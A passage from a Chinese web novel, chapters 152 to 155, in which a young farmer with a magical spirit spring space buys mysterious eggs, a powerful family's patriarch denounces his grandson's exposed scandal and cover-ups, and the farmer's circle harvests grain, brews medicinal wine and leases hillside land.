他并未太在意，继续吃着烧饼。但他没有察觉到，那辆刚刚驶过的警车，速度突然减慢，最终停靠在了不远处的路边。 驾驶警车的，是一位容颜绝美的女警，正是楚婧雅。她通过后视镜，清晰地看到了那个正埋头吃着烧饼的年轻男子——莫天扬。她的杏目中不由得闪过一丝诧异。 楚婧雅将车停在路边，目光落在那个穿着再普通不过、边走边啃烧饼的莫天扬身上，不由得微微摇头。自从上次青木村一别后，她出于职业习惯，私下调查过莫天扬的底细。 调查结果显示，这个年轻人毕业于全国排名前十的名校，却因为性格过于老实，被堂叔一家欺压，甚至被打断过一条腿。 然而，就在堂叔一家企图强占他祖宅和沙地时，这个看似懦弱的年轻人却突然爆发，痛揍了莫栓。 随后便开始生豆芽、种菜，顽强地创业。他的蔬菜和豆芽品质极佳，名声不仅响彻沛川，甚至传到了燕京，也因此结识了王传林等沛川新贵，同样，也因此得罪了安云飞那样的人物。 根据她掌握的信息，莫天扬的那个大院虽有王传林等人的投资，但他本人也绝不缺钱。可此刻，他却像任何一个为生活奔波的普通青年一样，啃着廉价的烧饼，步行赶路……这副景象，让楚婧雅感到一丝困惑和不解。 当莫天扬浑然不觉地从她的车边走过时，楚婧雅的杏目微微收缩了一下。她的目光敏锐地捕捉到了莫天扬背上的那个双肩背包，再结合他走路的背影……一种强烈的、模糊的熟悉感陡然涌上心头，她总觉得似乎在哪里见过这个背影。 就在这时，一阵急促的手机铃声响起，打断了楚婧雅的沉思。她猛地回过神，再看向车外时，莫天扬的身影早已消失在清晨的人流之中。 楚婧雅深吸一口气，有些懊恼地拿起手机。接通电话，简短应答后，她挂断通讯，再次看了一眼不远处浅驼一中的校门，无奈地苦笑着摇了摇头，调转车头，驶向了另一个方向。 跳蚤市场所在的那条街道，虽说太阳刚刚出来，可街道上已经是人头攒动，不过来往的人群无不是衣着普通。 街道上的莫天扬和其他人一样，看着两侧的地摊，找寻着想要的货物，只不过不同于其他人，莫天扬想要找的不是物美价廉的商品，而是他想要让灵泉空间变化的东西。 第一百五十二章暴躁老人 啪嚓！ 一声清脆的爆裂声在一处依山而建、装修古朴而威严的别墅客厅内陡然响起。名贵的瓷杯在地毯上炸开，深色的茶渍迅速洇开，如同一个不祥的预兆。 主位上，一位须发皆白、脸上布满深重老人斑的老人——林震远，正用一双锐利如鹰隼的眼睛，死死盯着面前战战兢兢、垂手而立的三男两女。 尽管年事已高，但他身上那股久居上位所积累的威严气息，却让在场的所有子女生出不寒而栗的压迫感。客厅内空气凝固，落针可闻。 “爹，您……您这是怎么了？”站在最前头、年约六十的林洪，带着一丝不易察觉的忌惮，小心翼翼地开口。 几乎就在他话音落下的同时，站在后排的一对中年男女脸色“唰”地一下变得惨白，眼神中控制不住地流露出一丝惊慌。 “怎么了？！”林震远的声音如同闷雷，在压抑的客厅中滚过，“我林震远一辈子行得正坐得直，怎么就养出你们这群……这群败家的玩意！” 怒喝声中，老人枯瘦但依旧有力的手猛地从茶几上抓起一厚叠照片，狠狠甩向五人！照片如同雪片般在五人身前纷扬飘落。 五人几乎同时下意识地弯腰去捡。当他们的目光触及几张照片正面的内容时，所有人的身躯都是猛地一震！那对中年男女——林泽和他的妻子，更是如遭雷击，脸上瞬间失去了所有血色。 其余三人捡起散落的照片，只看了一眼，便齐齐倒吸一口冷气。照片背景是灯光暧昧混乱的KTV包厢，一群男女纠缠在一起，行为不堪入目。而其中一個青年的面容虽然有些模糊，但那轮廓、那身形，对他们而言都太过熟悉！ 三人猛地抬头，目光如刀般射向脸色灰白的林泽夫妇。“林泽！那……那是浩宇？！”林洪的声音带着难以置信的惊怒。 林泽的嘴唇哆嗦着，抬头看向盛怒中的父亲，声音发颤：“爹，这、这肯定是有人造谣！故意P图陷害！浩宇他……他再怎么不懂事，也绝不会做出这种猪狗不如的事情啊！我已经派人去查了……” “畜生！你给我跪下！”林震远根本不信他的狡辩，猛地一拍茶几。 林泽双腿一软，“扑通”一声直挺挺地跪倒在地毯上。他身边的妻子也紧跟着瘫跪下去，泣声道：“爹，真的是有人陷害浩宇啊！照片里那个人只是有点像罢了，根本不是浩宇……” “事到如今，你们还敢瞒我？！”林震远气得浑身发抖，“现在满城风雨，连我那些退下来的老伙计都把电话打到我这里了！你们是不是真觉得我老糊涂了，瞎了聋了？！好，就算那些是谣言，那这些呢？！” 话音未落，老人再次猛地一甩手，又一叠照片劈头盖脸地砸向五人！ 五人手忙脚乱地捡起，只看了一眼，便如同被施了定身法，全身僵住！林泽夫妇更是像被抽走了所有骨头，彻底瘫软在地，面如死灰。 与之前那些略显模糊的照片不同，这一批照片清晰无比，甚至连当事人脸上沉醉、扭曲的表情都拍得一清二楚！铁证如山！ “这……这些照片肯定是技术合成的！”林泽还在做最后的挣扎，声音却已经虚得没有半分底气。 林震远死死盯着这个还在狡辩的儿子，目光冰冷彻骨：“放屁！你以为国家养的那些技术专家都是傻子？这些！这些都是下面的人拼了命才压下来的视频截图！要不是看在老子这张老脸上，这些东西早就捅破天了！真要是全爆出去，我林震远这辈子积攒的脸面，都得被你们，被那个小畜生丢尽！” “爹，会不会……会不会是浩宇他真的被人设计了？他不可能……”林洪试图缓和局面。 “被人设计？！”林震远猛地转向他，目光如炬，“林浩宇是个什么货色，你们难道真不知道？！他之所以变成今天这个人憎鬼厌的样子，难道和你们这群做长辈的毫无关系？！不是你们一次次纵容、包庇，他能无法无天到这个地步？！” 这番诛心之论，让原本战战兢兢的五人瞬间失声，再也无人敢辩解。 刚才被怒斥的林洪转而看向跪在地上的林泽，语气也带上了怒意：“林泽！你们夫妻俩之前不是信誓旦旦保证，说浩宇在下面基层踏踏实实历练吗？这就是你们说的历练？！你们必须给林家，给爹一个交代！” “二哥，我……”林泽语塞，面如土色。 啪！ 又一声脆响！并非击打声，而是林震远因极度愤怒，手掌重重拍在椅子扶手上发出的声音。 所有人都惊恐地看向父亲，只见林震远的老脸涨红，胸口剧烈起伏，整个身子都因盛怒而微微颤抖起来。 “我……我一直知道你们对浩宇骄纵，”老人的声音因愤怒和失望而颤抖，“但我总以为，他最多不过是在外面胡闹些小打小闹！我却没想到……没想到他在外面做的每一件烂事，都足够把牢底坐穿！而他一次次能逃脱法律的制裁，难道不是你们！不是你们在背后替他擦屁股、运作包庇？！” “爹，我们没有……”有人试图小声辩解。 “没有？！”林震远猛地打断，目光扫过其他几人，“林浩宇那个小畜生，为了逼一个叫刘思雨的女孩子就范，竟然敢捏造事实，污蔑人家的父亲刘成祥！到现在，刘成祥还被你们找由头羁押在沛川将近十天！下面的人为了讨好你们，私下里给他罗列了多少莫须有的罪名？你们真以为做得天衣无缝？！明眼人一看就知道是谁在背后指使！” 几个人脸色再次剧变，冷汗涔涔而下。“爹，这些事……” “有人已经把收集到的所有证据，通过匿名方式直接捅到了上面的监管部门！”林震远的声音冰冷而绝望，“上面已经着手秘密调查！我告诉你们，这次无论查到谁，别指望我会豁出这张老脸去保你们！谁沾手了，谁就给我主动滚出林家！我林震远没这样的子孙！” “爹！浩宇他毕竟是……”林泽妻子发出绝望的哭嚎。 “一个连人都算不上的东西！林家没有这种畜生！”林震远猛地站起身，斩钉截铁，不留一丝余地，“事情是他自己做下的，他就必须自己有勇气承担！如果让我知道你们谁敢再借着林家的名头去帮他活动、求情，别怪我……不客气！” 这句话如同最后判决，让林泽夫妻的脸色瞬间惨白如纸，彻底失去了血色。两人眼中充满了绝望，像是抓住最后一根稻草般，哀戚地看向其他三人，尤其是二哥林洪。 林洪的眼眸快速闪烁了几下，似乎在急速权衡利弊。他猛地一使眼色，厉声呵斥道：“还愣着干什么！马上滚出去！别再在这里气爹了！” 林震远冰冷的目光却扫过所有子女，没有丝毫动摇：“你们也滚！全都给我滚！滚得越远越好！” 五人如蒙大赦，又狼狈不堪，几乎是连滚爬爬地退出了令人窒息的别墅客厅。一直等到走出别墅大门，来到清冷的室外，五人才不约而同地长长吁了口气，各自擦拭着额头上的冷汗。 山风吹过，带着一丝寒意，却吹不散他们心头的沉重。 林洪脸色铁青，转向面如死灰的林泽，语气带着压抑不住的怒其不争：“林泽！早就跟你们说过无数次，要好好约束浩宇！一味地纵容，迟早要出大事！这下好了，闹得满城风雨，人尽皆知，连爹这里都瞒不住了！你们现在满意了？！” “二哥，现在说这些还有什么用……”林泽的妻子带着哭腔辩解，“浩宇说到底还是个孩子，他肯定是被人给设计陷害了……” “陷害？”林洪冷笑一声，毫不留情地打断，“说这些自欺欺人的话有什么用！现在浩宇人在哪里？” “还……还在浅驼的看守所里押着。”林泽的声音低不可闻，“我原本想找人先把他弄出来……” “弄出来？你想都别想！”林洪厉声道，“现在爹都知道了，盯着这件事的眼睛不知道有多少！还想轻易弄出来？难了！要我说，这件事就先不要管！浩宇做了那么多混账事，也是时候该接受点教训，吃点苦头了！等过段时间，爹那边的气消了一些，咱们再想办法慢慢运作。浅驼他是绝对不能再待了，到时候看看把他送到哪个偏远地方去避避风头，或者干脆送出国！” 其余几人闻言，虽然神色各异，但都默默点了点头，眼下这似乎已是唯一不是办法的办法。 一直没有说话的那个中年女子，此刻深吸了一口气，若有所思地开口：“二哥，三哥，这件事……你们说会不会是那个叫刘思雨的女孩背后搞的鬼？报复浩宇？” 林泽苦笑着摇摇头，语气带着一种认命般的颓然：“刘家背景很一般，那个刘成祥是靠自己一步步爬上来的，没什么根基。浩宇在浅驼……得罪的人太多了。就在昨天，他还想对那个刘思雨用强，不知道中间出了什么岔子，他们自己人就……网上流传最广的那些视频，很多都是当时在场其他客人拍下来发到网上的。至于其他那些更早的陈年旧账……恐怕是很多我们不知道的受害者，趁机一起发泄出来的。” “那……”林芳追问道，“刘成祥被罗列罪名羁押的事，又是被谁捅上去的？这可不是一般人有能力做到的。” 林洪再次深吸一口气，目光变得深沉而锐利：“既然不是刘家自己，那恐怕……就是咱们林家的那些老对手了。爹刚才的话都说到了那个份上，是谁经手运作的，就赶紧把自己的屁股擦干净！别留下任何把柄！这个时候，绝对不能再给爹惹一丝一毫的麻烦！” 就在这时，林泽像是突然想起了什么，犹豫了一下，还是开口说道：“二哥，有件事……前段时间我去了一趟燕京，偶然听到一个消息，说颜家的那个丫头……颜若曦，好像到咱们这边来了。” “颜若曦？”林洪和其他几人脸色骤然一变，“就是过年期间出了严重车祸的那个颜家女孩？” “对，就是她！” 林洪的瞳孔猛地收缩成一条细线，脸上露出了极度凝重和警惕的神色：“她怎么会突然跑到我们这里来？难道是……冲着楚家去的？” 第一百五十三章算不算喜事 跳蚤市场里，人头攒动，喧闹声不绝于耳。莫天扬穿梭在熙熙攘攘的人群中，目光仔细扫过一个个摊位，眼眸深处却藏着一丝难以掩饰的失落。今天似乎没有那天捡漏药草古籍的好运气，他来来回回逛了两趟，却始终没遇到什么值得留意的特殊物种。 他深吸了口气，抬头看了眼已近正午的太阳，无奈地摇摇头，打算离开。就在他转向一条僻静小巷准备穿过去时，脚步猛地一顿，目光被一个卖土鸡蛋的摊位吸引住了。 这个摊位他之前经过两次，但并未太过留意。此刻，他却敏锐地注意到，在一筐褐色的土鸡蛋中，赫然混着两颗颜色奇特的小蛋——它们呈现出一种淡淡的金色，个头比普通鸡蛋小了一圈，在众多鸡蛋中显得格外突兀。 鸡蛋对莫天扬来说再熟悉不过，他家以前也养鸡，但这种淡金色的蛋却从未见过。他年少时常跟着爷爷进山，掏过的鸟窝、吃过的鸟蛋不计其数。筐里那两颗小蛋，怎么看都更像某种不知名的鸟蛋。 “大爷，您这筐里怎么还有这么小的蛋？颜色也挺特别。”莫天扬蹲下身，指着那两颗淡金色的蛋问道。 卖蛋的是个七十多岁、满脸皱纹的老人。听到莫天扬的问话，老人的眼神明显闪烁了一下，下意识地避开了他的目光。这个小动作让莫天扬心中立刻断定——这两颗，绝非普通的鸡蛋。 见老人装聋作哑，莫天扬也不追问。他看了眼这一整筐品相还不错的土鸡蛋，心想家里也确实有段时间没买鸡蛋了，便开口道：“大爷，这鸡蛋怎么卖？” 这一问，老人顿时来了精神，忙不迭地介绍：“都是自家散养的鸡下的，纯粮食喂大的，一点饲料都不沾！得贵点，八块钱一斤。你要是要得多，还能便宜点。” 莫天扬点点头，没多说什么，直接拿过摊主备好的袋子，开始挑拣个头大、品相好的鸡蛋。他不动声色地将那两颗淡金色的“异类”也拨进了袋子里。用眼角的余光，他瞥见老人眼底似乎掠过一丝如释重负的神情。 过秤、付钱。就在莫天扬提着鸡蛋准备离开时，老人像是终于过意不去，深吸了口气，低声叫住他：“娃子，等……等等……再……再白送你两个鸡蛋吧。那……那两个小蛋……是……是我前几日在山里拾到的……我……” 看到老人最终还是选择了坦诚，莫天扬心里那点因为被隐瞒而产生的不快也消散了。他回头对老人淡淡一笑：“没事，大爷，就这样吧，挺好的。” 他买这袋土鸡蛋，本就是为了那两颗鸟蛋。他出身农家，深知农村人挣钱的不易。一位白发苍苍的老人还要出来摆摊卖蛋，他岂会去占那点便宜。 提着鸡蛋离开市场，莫天扬目光微闪。他心念一动，悄无声息地将那两颗不知名的鸟蛋转移到了灵泉空间。现在空间里山鸡、野鸡成群，找一处正在孵蛋的窝很容易。他打算回去就找个机会，把这两颗鸟蛋混进去，看看能否孵化出什么来。 回到租住的小院，莫天扬反锁好房门，提着剩下的土鸡蛋进入了灵泉空间。正如他所料，小岛上的山鸡、野鸡已然成群，他很容易就找到了几处正在抱窝的窝点。他小心地将那两枚淡金色的鸟蛋混入其中一窝蛋里。 看着袋子里还剩下的不少土鸡蛋，他心思一动，又找了几个不同的窝，分别放了一些进去。用灵泉空间的环境孵化出来的小鸡，想必品质会更不一样吧。 等他回到青木村时，看到沙地里胡标正带着不少人忙碌地平整土地，其中不乏那些沙地原来的主人。 莫天扬提着那袋土鸡蛋刚回来，正和曹慧闲聊的颜若曦眼睛便是一亮。等莫天扬将鸡蛋交给曹慧去收拾，颜若曦朝他示意了一下，两人走进了旁边的会客室。 “你看手机新闻了没有？”颜若曦一进来就压低声音问道，眼中带着一丝兴奋。 莫天扬心头一动，立刻猜到她说的是什么，但他脸上却不动声色，笑着摇摇头：“你知道我，平时不太看那些东西。” “昨天晚上，浅驼出大事了！”颜若曦语气带着几分快意，“林浩宇在钱柜KTV聚众淫乱，被人当场撞破，视频照片都传到网上了！现在全网都在热议这件事，舆论彻底炸了，林家想压都压不下来！林浩宇这次彻底完了！” 莫天扬点点头，语气平静却带着一丝冷意：“这种人渣，早就该有这一天。他多活一天，就不知道要多祸害多少人。思雨知道了吗？” “我就是听她说的，她高兴坏了。这下她总算能彻底安心，再也不用担心被那个无赖骚扰了。”颜若曦说着，漂亮的杏目却微微闪烁了几下，目光在莫天扬身上意味深长地扫来扫去。 话锋一转，她接着说道：“对了，还有更巧的事。同时网上还有人匿名发出了大量证据，直指之前污蔑刘叔的那些罪名全是捏造的！现在已经引起了上面的高度重视，听说调查组都已经派下来了。刘叔……说不定这几天就能回来了！” 她说这话的时候，目光始终没有离开莫天扬的脸，似乎在仔细捕捉他每一丝细微的反应。 莫天扬被她看得心里有些发毛，强作镇定地问道：“你……你这眼神是什么意思？” 颜若曦忽然咯咯地笑了起来，笑声如银铃般清脆，却带着一丝狡黠：“我就是在想啊，这一连串的事情，时机掐得这么准，手段这么狠辣，明显是有人在背后精心策划，专门针对林浩宇和林家。也不知道……这位‘侠士’到底是谁呢？” 莫天扬心头猛地一震，但脸上却努力维持着惊讶的表情：“你该不会是怀疑我吧？” 颜若曦歪着头，仔细打量了他一番，随即笑着摇摇头：“如果你稍微有点背景家世，我或许还真会怀疑你。可你就是一个毫无根基、白手起家的农民企业家……这件事背后需要的能量和手腕，可不是你能做到的。”她的语气听起来十分肯定，仿佛已经排除了莫天扬的嫌疑。 莫天扬闻言，心里暗暗松了口气，表面上则哈哈一笑，顺势说道：“就是嘛！林浩宇这些年无法无天，得罪的人海了去了。林家一味纵容包庇，早就天怒人怨。现在有人站出来收拾他，也是情理之中的事。” “这算不算是一件天大的喜事？”颜若曦笑着追问，眼眸中闪烁着期待的光芒。 莫天扬闻言，不由哈哈一笑：“算！当然算！这要是放在过去，那可是要敲锣打鼓、放鞭炮庆祝的大喜事！” “那……是不是得好好庆祝一下？”颜若曦趁热打铁，带着几分撒娇的意味。 “你想吃什么？尽管说！”莫天扬心情大好，爽快地问道。 “想吃羊肉！炖得烂烂的那种！”颜若曦立刻回答，似乎早就想好了。 莫天扬却摇摇头，有点无奈。他想起来昨天徐志国确实让他带两条羊腿回来，但因为后来刘思雨那档子事，羊腿又原封不动地留在了餐馆的冰柜里。 “宏利他们几个呢？”莫天扬转头看了看，没发现那几位年轻小伙的身影。 “他们这几天轮着去驾校考试呢，今天好像是宏利和克雄考最后一科。” “那正好，”莫天扬一拍手，“等他们考完，让他们从餐馆带两条羊腿回来，咱们晚上好好炖一锅。中午先简单对付一下，我去池塘那边弄点鱼和螃蟹。” 说着，莫天扬走出房门，习惯性地看向爷爷莫啸的房间。 颜若曦跟出来，笑着说道：“爷爷一早就去酒坊了，说今天好像是什么重要日子。” 莫天扬心头一动，按照时间推算，第一批酿造的屠苏酒似乎就在这几天出酒了。“我去酒坊看看。”他顿时来了兴致。 酒坊里，浓郁的酒糟味几乎掩盖不住一种更加醇厚、奇异的酒香。莫啸和胡振南、莫红兵等几人正围着一个半人高的酒瓮，神情专注。莫天扬凑过去，看到瓮中的酒液还显得有些浑浊，散发出的酒香中夹杂着一丝未褪尽的酒糟气。 “天扬，来得正好，快尝尝！”莫啸看到孙子，立刻递过来一个小酒盅。 莫天扬接过，小心地抿了一小口，在口中细细品味片刻，下意识地点点头，眼中露出惊喜：“爷爷，这次的口感……好像比咱们上次试酿的那批又醇厚了不少，杂味也少多了。” 莫啸脸上露出满意的笑容，点头道：“振南和红兵他们几个力气足，每一次蒸酿、搅拌都做得扎实到位。这酒啊，就算是放在过去老手艺人的标准里，也算得上是上品了。接下来的工序就简单了，你和他们盯着就行。” 莫天扬嘿嘿一笑，挠挠头：“爷爷，若曦他们说想吃鱼蟹，这边……还得您老坐镇才行啊。” 莫啸没好气地瞪了孙子一眼：“怎么，还想让我老头子去给你们摸鱼抓蟹？我去做，你留在这儿盯着！趁着我这把老骨头还能动、还能说，这些手艺都得你们亲手接下来！” 看着爷爷背着手、慢悠悠却坚定地离开酒坊，莫天扬无奈又敬佩地笑了笑。他转向胡振南和莫红兵，问道：“不是说你们今天也去县里考驾照吗？” 胡振南笑着回答：“我们昨天就考完啦！本儿都拿到手了！今天是宏利和克雄去考最后一科。” 莫天扬眼睛亮了几下，高兴地说：“拿下就好！回头你们去县里或者沛川看看，咱们自己也添置一辆车，以后出门办事也方便。” “天扬，你要买车？！”胡振南和莫红兵一听，顿时都兴奋起来，眼睛放光。 “要不让你们急着考本儿干嘛？”莫天扬笑道，“你们几个商量商量，看看买什么牌子、什么车型比较合适咱们用。” 胡振南嘿嘿一笑，显然早就琢磨过了：“我们早就研究过了！咱们这地方地势偏，路况也时好时坏。若曦和思雨都建议说，买辆皮卡车最实用！皮实耐造，不怕磕碰，既能拉人又能拉货，关键价钱还实在！” 莫天扬觉得很有道理，点头同意：“行，你们觉得好就行。你们找个时间去车行问问具体价钱，看好了告诉我，我给你们转钱。” “天扬，你不学个本子吗？”胡振南好奇地问。 莫天扬哈哈一笑，摆摆手：“我就算了，没那个兴趣。以后有什么事，你们当我的专属司机就行了！” 第一百五十四章困境 网络的持续发酵，最终令林浩宇身败名裂，甚至连林家也受到牵连。出乎许多人意料的是，林家此次并未出手干预，任由事件不断升级。更多黑料相继曝光，林浩宇及其多名同伙锒铛入狱已成定局，一批与他关系密切的人员也相继被带走调查。 “天扬，我爸回来了。因为网上那些证据，沛川那边也有不少人被牵连。我托人打听了一下，这些人大多都和林家有关联。” 莫天扬深吸一口气，问道：“那林家呢？” “他们倒没被波及。但奇怪的是，这次林浩宇被立案调查，林家居然一点动静都没有，太反常了。” 莫天扬眼神微凝：“你是说，他父母、叔伯全都没插手？” “对，浅驼和沛川不少人都觉得不可思议。以他们一贯的作风，就算林浩宇这次事大，靠他们的关系网也完全可以压下去。但这次，林浩宇都被抓了，他们甚至连浅驼都没来。” 莫天扬皱起眉头，语气沉了下来：“在大家看来，林浩宇是罪有应得。但林家不一定这么想——他们一向纵容他，不可能真的不管。我估计他们是在等风头过去。你和刘叔叔都得当心些。” 刘思雨目光一凛。林浩东的垮台看似偶然，但她心里始终隐约觉得没那么简单。莫天扬这一说，更让她生出几分不安。 就在这时，曹勇兴冲冲地走了过来：“天扬，猜猜收了多少谷黍？” 莫天扬抬起头：“多少？” “黍子二十一袋，谷子三十二袋——这还只是毁了一半之后的收成，不然更多！” “这么多？” 曹勇兴奋地点头：“别说你，村里那些老把式都惊呆了。往年最好的地，一亩也就四五百斤。你这黍子亩产差不多一千斤，谷子还要更猛！” 莫天扬淡淡一笑：“勇叔，别忘了我们投入了多少。光买农家肥就花了上千，还不算浇水和人工。” 曹勇点点头。他是亲眼看着莫天扬种地的，每一亩的投入都是别人的好几倍。别人种旱地，他硬是搞成了水浇地——这么一想，高产也在情理之中。 “勇叔，正好今天炖了羊肉，磨点糕面，我们吃羊肉泡糕。” “克雄他们几个已经去忙了。你这谷子黍子颗粒大、颜色正，刚打下来就有人想来换种子！” 中午，餐厅里飘满香气。一大盆刚蒸好的黄糕端上桌，色泽金黄，糕香扑鼻，连一向沉稳的莫啸都忍不住起身张望。 “给我来一块。” 一口下去，莫啸、胡标等人眼前都是一亮，不约而同地点头。黄糕口感劲道，蘸上浓郁的羊肉汤后，更是别有一番风味。 “好吃！这种味道，好像只有生产队那时候才有。” 刘思雨和颜若曦看着大家吃得津津有味，颜若曦小声对曹慧说：“慧姐，给我也来一点，我想尝尝。” 曹慧笑着给两人各夹了一小块，提醒道：“黄糕别多嚼，嚼多了发苦。蘸满羊肉汤，一口吞最好。” 两人照做，蘸满汤汁送入口中，虽然有点烫嗓子，但那混合米香与肉香的浓郁滋味让她们顿时眼睛一亮。 “真好吃！我还是第一次吃黄糕。” 胡标哈哈一笑：“三十里的莜面四十里的糕，黄糕可是最扛饿的东西。不过不常吃的人别多吃，这糕实在不好消化。” “天扬，就这黄糕和羊肉，你完全可以在县里开个糕馆！这几天我可听人说，浅驼那边有家糕馆特别火，每天光羊肉就能卖出两三只。”一向话不多的胡亮看向莫天扬，语气里带着建议。 胡振南听了哈哈大笑：“哥，你还不知道吧？你说的那家炖肉的手艺，可都是天扬教的！” 胡亮不由得一愣：“难道……那是天扬开的？” 莫天扬摇摇头：“是海哥的几个朋友。餐馆生意确实不错，这几天他们正打算找个大点儿的地方扩大规模。亮哥，你这些年在外闯荡，三教九流的人都熟，要是餐馆规模扩大了，你就和慧姐一起去帮忙——慧姐炖肉，你负责招呼客人。” 胡亮脸色微微一动，眼底泛起一丝难以掩饰的激动。曾经他在村里名声并不好，连狗见了他都得绕道走。如今莫天扬却愿意给他这样一个机会，他怎能不心潮澎湃？ “天扬，我不行的……”他低声推辞。 胡标瞥了胡亮几眼，眼神闪烁，接口道：“天扬，亮子这腿还没好利索，先让他在你这边跟着干，等腿脚方便了再说。” 胡亮深吸一口气，认真地说：“天扬，二叔说得对。我认识的人确实多，但大多都是些走偏了路的。我要是去了，他们听说我在那儿，少不了来白吃白喝……这还不算，万一喝多了闹起事来，反而给餐馆添乱。” 莫天扬目光闪动，想了想说道：“那行，就等你腿好了再说。这段日子别总待在羊圈里，有空也去酒坊、豆芽房转转，多熟悉熟悉。” 胡亮眼睛一亮，连忙应道：“好！” 胡标深吸一口气，语气凝重地说：“亮子，你以前确实走过弯路，就算现在想回头，村里人也未必一下子就能接受你。天扬这是在给你机会，你可不能……” “二叔，要不是天扬，我这条命还在不在都难说。”胡亮打断他，声音有些发颤，“别的不敢保证，但我绝不会给天扬丢人！” 这句话让胡标长舒一口气，莫天扬心里也微微一松。他原本打算让胡亮先去小餐馆试试，若真不是那块料，再另做打算。如今胡亮能说出这番话，至少说明他是真心想变好。 或许是因为感受到莫天扬真诚想拉他一把，胡亮整个人都开朗了不少，干活更勤快了，也愿意主动和人交流了。 没过几天，胡振南兴冲冲地跑来：“天扬，屠苏出酒了！” 莫天扬深吸一口气，急切地问：“多少？” “一共一百二十六坛！” 莫天扬心中激动不已——爷爷之前预估一次出酒大约一千斤，没想到实际竟出了一千二百多斤，远超预期！ “我这就联系涛哥。”莫天扬刚说完，颜若曦就急匆匆地赶来了，脸上写满了欣喜。 莫天扬笑着看向她：“怎么，有什么喜事？” 颜若曦咯咯一笑：“刚听勇叔说，出了一千二百多斤屠苏！”她顿了顿，语气真诚，“我爷爷好这一口，我想买点送给他。” “买什么，直接拿一坛去。” 颜若曦却摇头：“这屠苏可是古法药酒，不光口感好，还能补气。我爷爷年纪大了，我想多买点。” 颜若曦来这儿有段时间了，可莫天扬至今也不清楚她的具体来历。她一直无偿帮他做宣传，这份情他一直记着。 “那你要多少？” “十坛吧，就按市场价来。”颜若曦坚持道。 莫天扬见她态度坚决，也不再推辞：“行，你怎么运回去？” “我联系看看，找家能专门运送的快递。”颜若曦笑盈盈地去联系快递公司了。 莫天扬回到房间，拨通了张学涛的电话。从蔬菜下架到现在，他还是第一次联系对方。 “天扬，有事？”电话那端，张学涛的声音透着掩饰不住的疲惫。 莫天扬心里一沉——上次见张学涛时，他就感觉对方状态不对，现在看来果然有事。 “涛哥，你怎么了？” 张学涛叹了口气，语气回避：“你先说有什么事吧。” 莫天扬没再追问，直接说明来意：“涛哥，屠苏出来了，你联系一下王哥他们，看看什么时候有空过来尝尝。” 却不想，张学涛沉默了片刻，低声说道：“天扬，他们那边……出事了。” 莫天扬顿时脸色一变。从上回分别到现在已有一个多月，王传林几人一直没露面，他还以为只是公司太忙。可现在…… 如果只是一个人遇到困难，还说得过去，生意场上起起落落本是常事。但张学涛说“他们”都出了事——那就绝不寻常了。 “他们怎么了？”莫天扬急忙追问。 “就在近一个来月，王哥他们的公司都遇到很多麻烦，虽说他们托人找关系，可不知道是谁在背后运作，很多一向合作不错的公司都和他们解除了合约，银行又在催款，他们的公司不一定能走下去，李哥的公司已经破产……” 莫天扬的脸色骤变，他对于李红军他们不是很了解，可他却去过王传林的公司，上亿的身价，上一次见面的时候他们还说起公司的发展，说今年能够赚多少，这才多长时间，每一个都遭遇到了麻烦，更是有人的公司破产，这让莫天扬想不明白。 “涛哥，到底发生了什么，王哥他们呢？” “这个我也不清楚，我去过几次，都没有见到他们，听嫂子说，他们好像被什么人做局，这才遇到了解决不了的危机，李哥现在因为涉嫌诈骗被羁押。” “有人做局？” “对，他们现在都想要解决麻烦，对了，前段时间不是他们联手成立一个集团，前段时间他们已经将集团转移到你的名下。” “为什么？” 第一百五十五章拿下雀沟 “只是注册了一家公司，他们几个投了五十万。当初商量的时候，本就是为了你而注册的，只是担心你不肯接受，才说让你参股。现在他们遇到了难关，也不知道能不能挺过去，所以让我找机会把这些手续转交给你。” “你怎么不早告诉我？” 上次见他们的时候，我也想让你知道，可他们说你正在创业关键期，嘱咐我不要打扰你。其实那次见你，我就想开口，但话到嘴边，却不知该怎么说。 莫天扬心里微微一沉。自己的处境，王传林他们想必都清楚。正因为清楚，他们有事才不愿拖他下水——就连他盖房子的钱，都还是他们借的。 “涛哥，现在要帮王哥他们渡过这个难关，需要怎么做？” “钱。我把自己那点积蓄全都拿出来了，可根本填不上那个窟窿。光是保释就得几百万，要想彻底解决问题，得上亿。天扬，他们带话出来，说让你好好干，等将来他们出来了，就来给你打工。” 张学涛话音落下，莫天扬心头蓦地一酸。虽是生意伙伴，但他能有今天，离不开王传林他们一路的支持。如今他们自身难保，却还在替他着想，这份情义，让他喉间发哽。 突然之间，莫天扬心中一动——灵泉空间里那株老山参蓦地浮现于脑海。他深吸一口气，说道：“涛哥，我明天去找你。” “天扬，你的心意大家都明白。王哥人脉广，现在正想办法周转，或许还有转机……” “明天见面再细说。” 没等张学涛说完，莫天扬挂了电话，心情却愈发沉重，仿佛又回到当初被莫老三一家欺负、打断腿时那般无力。 他不想被人看出情绪，收起手机朝大院走去。不远处正与小狼追逐的小白似乎察觉到他心情低落，快步跟上来，大脑袋轻轻蹭了蹭他的腿。 莫天扬抬手揉了揉小白的头，一人一犬沉默地走进院子。此刻院内机器轰鸣，只有边上还留有一条供自卸车通行的土路。 他沿着坑洼的小路走进正在内部装修的二层小楼，望着即将完工的建筑，心里更不是滋味。 就在这时，手机震动起来。莫天扬看了一眼屏幕，深吸一口气，接通了电话。 “思雨，怎么了？你也要分屠苏？” “说什么呢，快回来！” 莫天扬有些疑惑，但还是转身走出大院。他深吸一口气，努力平复心绪，拍了拍小白的背，“你自己去玩吧。” 帐篷底下，刘思雨、颜若曦和陈峰正有说有笑，颜若曦手中还翻着一叠文件。 不等莫天扬走近，陈峰就兴奋地喊道：“天扬，雀沟我们拿下了！” 莫天扬脸上顿时露出喜色，原本郁结的心情也明朗了几分。他快步走过去，问刘思雨：“他们没提什么条件？” 刘思雨轻笑一声，“你现在可是沛川点名看好的红人，就算他们有想法，也得掂量掂量万一传回沛川会是什么后果。更何况你承包雀沟是实打实出钱的，有了这笔资金，村里就能减轻不少负担。” “一亩地多少钱？” “整条雀沟总共有一千八百多亩，但实际能用的也就七八百亩。村里报表上是这样，乡里也给了一些优惠，每年承包费三万。如果你承包下来，等到三轮承包期的时候就直接给你确权。不过每年开始时都得提前把承包费交到村里。” “三万？这么多！”陈峰几人不由得皱了皱眉。三万对有钱人或许不算什么，但在青木村这一带，绝不是小数目。他们一心为莫天扬着想，觉得这个价格实在偏高。 莫天扬却淡淡一笑，“峰叔，这可是一千八百多亩地啊。就算只有七八百亩能用，您想，雀沟今年着了火，积下大量草木灰，光是卖灰就够回好几年的本。更别说沟里还有不少没烧透的胡杨、红柳——冬天拉回来烧炕，能省下多少柴火钱？” 陈峰点点头，“那我去找胡标他们进去看看。” 